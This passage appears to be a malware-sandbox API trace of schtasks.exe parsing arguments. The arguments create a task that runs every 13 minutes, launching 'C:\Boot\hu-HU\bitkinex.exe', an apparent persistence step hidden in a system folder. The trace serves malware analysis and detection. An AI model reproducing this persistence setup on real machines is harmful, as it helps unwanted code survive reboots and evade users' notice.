Size=0x20) returned 0x33cd50 [0062.669] SetLastError (dwErrCode=0x0) [0062.669] SetLastError (dwErrCode=0x0) [0062.670] lstrlenW (lpString="/sc") returned 3 [0062.670] lstrlenW (lpString="-/") returned 2 [0062.670] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.670] lstrlenW (lpString="?") returned 1 [0062.670] lstrlenW (lpString="?") returned 1 [0062.670] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] lstrlenW (lpString="sc") returned 2 [0062.670] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.670] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.670] lstrlenW (lpString="|?|") returned 3 [0062.670] lstrlenW (lpString="|sc|") returned 4 [0062.670] SetLastError (dwErrCode=0x490) [0062.670] lstrlenW (lpString="create") returned 6 [0062.670] lstrlenW (lpString="create") returned 6 [0062.670] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] lstrlenW (lpString="sc") returned 2 [0062.670] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.670] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.670] lstrlenW (lpString="|create|") returned 8 [0062.670] lstrlenW (lpString="|sc|") returned 4 [0062.670] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0062.670] SetLastError (dwErrCode=0x490) [0062.670] lstrlenW (lpString="delete") returned 6 [0062.670] lstrlenW (lpString="delete") returned 6 [0062.670] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] lstrlenW (lpString="sc") returned 2 [0062.670] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.670] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.671] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.671] lstrlenW (lpString="|delete|") returned 8 [0062.671] lstrlenW (lpString="|sc|") returned 4 [0062.671] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0062.671] SetLastError (dwErrCode=0x490) [0062.671] lstrlenW (lpString="query") returned 5 [0062.671] lstrlenW (lpString="query") returned 5 [0062.671] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.671] lstrlenW (lpString="sc") returned 2 [0062.671] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.671] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.671] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.671] lstrlenW (lpString="|query|") returned 7 [0062.671] lstrlenW (lpString="|sc|") returned 4 [0062.671] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0062.671] SetLastError (dwErrCode=0x490) [0062.671] lstrlenW (lpString="change") returned 6 [0062.671] lstrlenW (lpString="change") returned 6 [0062.671] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.671] lstrlenW (lpString="sc") returned 2 [0062.671] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.671] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.671] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.671] lstrlenW (lpString="|change|") returned 8 [0062.671] lstrlenW (lpString="|sc|") returned 4 [0062.671] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0062.671] SetLastError (dwErrCode=0x490) [0062.671] lstrlenW (lpString="run") returned 3 [0062.671] lstrlenW (lpString="run") returned 3 [0062.671] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] lstrlenW (lpString="sc") returned 2 [0062.672] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.672] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.672] lstrlenW (lpString="|run|") returned 5 [0062.672] lstrlenW (lpString="|sc|") returned 4 [0062.672] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0062.672] SetLastError (dwErrCode=0x490) [0062.672] lstrlenW (lpString="end") returned 3 [0062.672] lstrlenW (lpString="end") returned 3 [0062.672] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] lstrlenW (lpString="sc") returned 2 [0062.672] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.672] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.672] lstrlenW (lpString="|end|") returned 5 [0062.672] lstrlenW (lpString="|sc|") returned 4 [0062.672] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0062.672] SetLastError (dwErrCode=0x490) [0062.672] lstrlenW (lpString="showsid") returned 7 [0062.672] lstrlenW (lpString="showsid") returned 7 [0062.672] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] lstrlenW (lpString="sc") returned 2 [0062.672] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.672] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.672] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|sc|") returned 4 [0062.672] lstrlenW (lpString="|showsid|") returned 9 [0062.672] lstrlenW (lpString="|sc|") returned 4 [0062.672] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0062.672] SetLastError (dwErrCode=0x490) [0062.672] SetLastError (dwErrCode=0x490) [0062.673] SetLastError (dwErrCode=0x0) [0062.673] lstrlenW (lpString="/sc") returned 3 [0062.673] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0062.673] SetLastError (dwErrCode=0x490) [0062.673] SetLastError (dwErrCode=0x0) [0062.673] lstrlenW (lpString="/sc") returned 3 [0062.673] GetProcessHeap () returned 0x320000 [0062.673] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x8) returned 0x33c3a0 [0062.673] GetProcessHeap () returned 0x320000 [0062.673] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cd80 [0062.673] SetLastError (dwErrCode=0x0) [0062.673] SetLastError (dwErrCode=0x0) [0062.673] lstrlenW (lpString="MINUTE") returned 6 [0062.673] lstrlenW (lpString="-/") returned 2 [0062.673] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0062.673] SetLastError (dwErrCode=0x490) [0062.674] SetLastError (dwErrCode=0x490) [0062.674] SetLastError (dwErrCode=0x0) [0062.674] lstrlenW (lpString="MINUTE") returned 6 [0062.674] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0062.674] SetLastError (dwErrCode=0x490) [0062.674] SetLastError (dwErrCode=0x0) [0062.674] lstrlenW (lpString="MINUTE") returned 6 [0062.674] GetProcessHeap () returned 0x320000 [0062.674] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33c3c0 [0062.674] GetProcessHeap () returned 0x320000 [0062.674] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cdb0 [0062.675] SetLastError (dwErrCode=0x0) [0062.676] SetLastError (dwErrCode=0x0) [0062.676] lstrlenW (lpString="/mo") returned 3 [0062.676] lstrlenW (lpString="-/") returned 2 [0062.676] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.676] lstrlenW (lpString="?") returned 1 [0062.676] lstrlenW (lpString="?") returned 1 [0062.676] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.676] lstrlenW (lpString="mo") returned 2 [0062.676] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.676] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.676] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.676] lstrlenW (lpString="|?|") returned 3 [0062.676] lstrlenW (lpString="|mo|") returned 4 [0062.676] SetLastError (dwErrCode=0x490) [0062.676] lstrlenW (lpString="create") returned 6 [0062.676] lstrlenW (lpString="create") returned 6 [0062.676] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.676] lstrlenW (lpString="mo") returned 2 [0062.676] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.676] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.676] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.676] lstrlenW (lpString="|create|") returned 8 [0062.676] lstrlenW (lpString="|mo|") returned 4 [0062.676] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0062.676] SetLastError (dwErrCode=0x490) [0062.676] lstrlenW (lpString="delete") returned 6 [0062.676] lstrlenW (lpString="delete") returned 6 [0062.676] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.676] lstrlenW (lpString="mo") returned 2 [0062.676] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.677] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.677] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.677] lstrlenW (lpString="|delete|") returned 8 [0062.677] lstrlenW (lpString="|mo|") returned 4 [0062.677] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0062.677] SetLastError (dwErrCode=0x490) [0062.677] lstrlenW (lpString="query") returned 5 [0062.677] lstrlenW (lpString="query") returned 5 [0062.677] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.677] lstrlenW (lpString="mo") returned 2 [0062.677] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.677] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.677] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.677] lstrlenW (lpString="|query|") returned 7 [0062.677] lstrlenW (lpString="|mo|") returned 4 [0062.677] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0062.677] SetLastError (dwErrCode=0x490) [0062.677] lstrlenW (lpString="change") returned 6 [0062.677] lstrlenW (lpString="change") returned 6 [0062.677] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.677] lstrlenW (lpString="mo") returned 2 [0062.677] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.677] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.677] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.677] lstrlenW (lpString="|change|") returned 8 [0062.677] lstrlenW (lpString="|mo|") returned 4 [0062.677] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0062.677] SetLastError (dwErrCode=0x490) [0062.677] lstrlenW (lpString="run") returned 3 [0062.677] lstrlenW (lpString="run") returned 3 [0062.677] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] lstrlenW (lpString="mo") returned 2 [0062.678] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.678] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.678] lstrlenW (lpString="|run|") returned 5 [0062.678] lstrlenW (lpString="|mo|") returned 4 [0062.678] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0062.678] SetLastError (dwErrCode=0x490) [0062.678] lstrlenW (lpString="end") returned 3 [0062.678] lstrlenW (lpString="end") returned 3 [0062.678] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] lstrlenW (lpString="mo") returned 2 [0062.678] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.678] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.678] lstrlenW (lpString="|end|") returned 5 [0062.678] lstrlenW (lpString="|mo|") returned 4 [0062.678] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0062.678] SetLastError (dwErrCode=0x490) [0062.678] lstrlenW (lpString="showsid") returned 7 [0062.678] lstrlenW (lpString="showsid") returned 7 [0062.678] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] lstrlenW (lpString="mo") returned 2 [0062.678] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.678] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.678] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|mo|") returned 4 [0062.678] lstrlenW (lpString="|showsid|") returned 9 [0062.678] lstrlenW (lpString="|mo|") returned 4 [0062.678] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0062.678] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="/mo") returned 3 [0062.679] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0062.679] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="/mo") returned 3 [0062.679] GetProcessHeap () returned 0x320000 [0062.679] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x8) returned 0x33c3e0 [0062.679] GetProcessHeap () returned 0x320000 [0062.679] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cde0 [0062.679] SetLastError (dwErrCode=0x0) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="13") returned 2 [0062.679] lstrlenW (lpString="-/") returned 2 [0062.679] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0062.679] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="13") returned 2 [0062.679] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0062.679] SetLastError (dwErrCode=0x490) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="13") returned 2 [0062.679] GetProcessHeap () returned 0x320000 [0062.679] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x6) returned 0x33c400 [0062.679] GetProcessHeap () returned 0x320000 [0062.679] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce10 [0062.679] SetLastError (dwErrCode=0x0) [0062.679] SetLastError (dwErrCode=0x0) [0062.679] lstrlenW (lpString="/tr") returned 3 [0062.679] lstrlenW (lpString="-/") returned 2 [0062.679] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.679] lstrlenW (lpString="?") returned 1 [0062.679] lstrlenW (lpString="?") returned 1 [0062.680] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] lstrlenW (lpString="tr") returned 2 [0062.680] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.680] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.680] lstrlenW (lpString="|?|") returned 3 [0062.680] lstrlenW (lpString="|tr|") returned 4 [0062.680] SetLastError (dwErrCode=0x490) [0062.680] lstrlenW (lpString="create") returned 6 [0062.680] lstrlenW (lpString="create") returned 6 [0062.680] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] lstrlenW (lpString="tr") returned 2 [0062.680] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.680] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.680] lstrlenW (lpString="|create|") returned 8 [0062.680] lstrlenW (lpString="|tr|") returned 4 [0062.680] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0062.680] SetLastError (dwErrCode=0x490) [0062.680] lstrlenW (lpString="delete") returned 6 [0062.680] lstrlenW (lpString="delete") returned 6 [0062.680] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] lstrlenW (lpString="tr") returned 2 [0062.680] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.680] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.680] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.680] lstrlenW (lpString="|delete|") returned 8 [0062.680] lstrlenW (lpString="|tr|") returned 4 [0062.680] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0062.681] SetLastError (dwErrCode=0x490) [0062.681] lstrlenW (lpString="query") returned 5 [0062.681] lstrlenW (lpString="query") returned 5 [0062.681] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] lstrlenW (lpString="tr") returned 2 [0062.681] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.681] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.681] lstrlenW (lpString="|query|") returned 7 [0062.681] lstrlenW (lpString="|tr|") returned 4 [0062.681] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0062.681] SetLastError (dwErrCode=0x490) [0062.681] lstrlenW (lpString="change") returned 6 [0062.681] lstrlenW (lpString="change") returned 6 [0062.681] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] lstrlenW (lpString="tr") returned 2 [0062.681] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.681] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.681] lstrlenW (lpString="|change|") returned 8 [0062.681] lstrlenW (lpString="|tr|") returned 4 [0062.681] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0062.681] SetLastError (dwErrCode=0x490) [0062.681] lstrlenW (lpString="run") returned 3 [0062.681] lstrlenW (lpString="run") returned 3 [0062.681] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] lstrlenW (lpString="tr") returned 2 [0062.681] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.681] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.682] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.682] lstrlenW (lpString="|run|") returned 5 [0062.682] lstrlenW (lpString="|tr|") returned 4 [0062.682] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0062.682] SetLastError (dwErrCode=0x490) [0062.682] lstrlenW (lpString="end") returned 3 [0062.682] lstrlenW (lpString="end") returned 3 [0062.682] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.682] lstrlenW (lpString="tr") returned 2 [0062.682] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.682] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.682] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.682] lstrlenW (lpString="|end|") returned 5 [0062.682] lstrlenW (lpString="|tr|") returned 4 [0062.682] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0062.682] SetLastError (dwErrCode=0x490) [0062.682] lstrlenW (lpString="showsid") returned 7 [0062.682] lstrlenW (lpString="showsid") returned 7 [0062.682] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.682] lstrlenW (lpString="tr") returned 2 [0062.682] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.682] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.682] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tr|") returned 4 [0062.682] lstrlenW (lpString="|showsid|") returned 9 [0062.682] lstrlenW (lpString="|tr|") returned 4 [0062.682] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0062.682] SetLastError (dwErrCode=0x490) [0062.682] SetLastError (dwErrCode=0x490) [0062.682] SetLastError (dwErrCode=0x0) [0062.682] lstrlenW (lpString="/tr") returned 3 [0062.683] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0062.683] SetLastError (dwErrCode=0x490) [0062.683] SetLastError (dwErrCode=0x0) [0062.683] lstrlenW (lpString="/tr") returned 3 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x8) returned 0x33c420 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce40 [0062.683] SetLastError (dwErrCode=0x0) [0062.683] SetLastError (dwErrCode=0x0) [0062.683] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.683] lstrlenW (lpString="-/") returned 2 [0062.683] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.683] SetLastError (dwErrCode=0x490) [0062.683] SetLastError (dwErrCode=0x490) [0062.683] SetLastError (dwErrCode=0x0) [0062.683] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.683] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0062.683] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33c440 [0062.683] _memicmp (_Buf1=0x33c440, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33c460 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33d610 [0062.683] _memicmp (_Buf1=0x33d610, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.683] GetProcessHeap () returned 0x320000 [0062.683] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x3c) returned 0x3393f0 [0062.683] SetLastError (dwErrCode=0x7a) [0062.683] SetLastError (dwErrCode=0x0) [0062.684] SetLastError (dwErrCode=0x0) [0062.684] lstrlenW (lpString="'C") returned 2 [0062.684] lstrlenW (lpString="-/") returned 2 [0062.684] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.684] SetLastError (dwErrCode=0x490) [0062.684] SetLastError (dwErrCode=0x490) [0062.684] SetLastError (dwErrCode=0x0) [0062.684] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.684] GetProcessHeap () returned 0x320000 [0062.684] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x3a) returned 0x339440 [0062.684] GetProcessHeap () returned 0x320000 [0062.684] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce70 [0062.684] SetLastError (dwErrCode=0x0) [0062.684] SetLastError (dwErrCode=0x0) [0062.684] lstrlenW (lpString="/rl") returned 3 [0062.684] lstrlenW (lpString="-/") returned 2 [0062.684] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.684] lstrlenW (lpString="?") returned 1 [0062.684] lstrlenW (lpString="?") returned 1 [0062.684] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.684] lstrlenW (lpString="rl") returned 2 [0062.684] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.684] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.684] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", 